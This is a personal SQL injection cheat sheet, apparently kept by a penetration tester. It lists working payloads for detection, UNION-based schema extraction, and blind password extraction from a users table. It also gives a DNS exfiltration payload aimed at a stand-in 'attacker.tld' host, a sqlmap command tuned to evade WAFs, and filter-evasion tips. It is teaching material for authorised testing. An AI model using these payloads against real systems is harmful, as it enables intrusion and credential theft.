These notes are public, opinionated, and evolving — read abdelkader.ma for the long-form posts.
Web SecuritySQL Injection Basics

SQL Injection Basics

This is the page I open when I think a parameter is injectable. It is not a full reference — it is the smallest amount I need in front of me to make forward progress.

Detection

Touch the parameter four ways, in this order:

  1. Break it. Inject a single quote ', a single double-quote ", a backslash \, and a closing paren ). Look for SQL errors, 500 responses, or changes in behaviour even without an error message.
  2. Concat it. Append ' || 'x (Oracle/Postgres) or ' + 'x (MSSQL) or ' 'x (MySQL string concat). If the page still works, you are inside a string context.
  3. Math it. Replace 1 with 2-1, id=5 with id=10/2. If 2-1 returns the same result as 1, the value is being evaluated.
  4. Time it. ' OR SLEEP(5) -- - (MySQL), '; WAITFOR DELAY '0:0:5' -- - (MSSQL). If response time matches the sleep, you have blind SQLi.

Always end payloads with -- - (dash dash space dash). Some engines strip trailing whitespace, and -- without something after it stops being a comment in MySQL.

Quick exploitation paths

UNION-based (visible output)

Find the column count:

' UNION SELECT NULL -- -
' UNION SELECT NULL,NULL -- -
' UNION SELECT NULL,NULL,NULL -- -

Find a string column (so you can extract data):

' UNION SELECT 'a',NULL,NULL -- -
' UNION SELECT NULL,'a',NULL -- -

Pull schema:

' UNION SELECT table_name,NULL,NULL FROM information_schema.tables -- -
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns
  WHERE table_name='users' -- -

Boolean blind

' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a' -- -

Difference between true / false response = one bit per request. Script it with a binary search, not a linear scan.

Time-based blind

' AND IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(2), 0) -- -

Slow but works when there is no other oracle.

Out-of-band (when blind and slow)

MySQL on Windows with secure_file_priv set right:

' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.tld\\x')) -- -

You receive the data over DNS. Burp Collaborator catches the request.

sqlmap, but used properly

sqlmap -u "https://target/item?id=1" \
       --cookie="session=…" \
       --level=5 --risk=3 \
       --random-agent \
       --batch \
       --technique=BEUSTQ \
       --dbs
  • --level and --risk matter. Default 1/1 misses most modern targets.
  • --random-agent avoids the trivial WAF block on sqlmap UA.
  • --technique=BEUSTQ enables all six techniques explicitly so a forgotten default does not skip a winning path.
⚠️

Never run sqlmap against scope you do not own. It is loud, expensive on the target DB, and trivially logged.

Habits that save time

  • Always note the DBMS first. MySQL version(), MSSQL @@version, Postgres version(). Half of payload selection is “what engine is this.”
  • Encode reasonably. WAFs strip ' but not %27; -- but not /**/. Cycle through forms before declaring no-injection.
  • Read errors out loud. near "'": syntax error tells you the position of the broken token. Use it.
  • Don’t trust filters. A param that says “blocked” via the WAF may still be injectable via JSON body, headers (X-Forwarded-For, Referer), or path segments.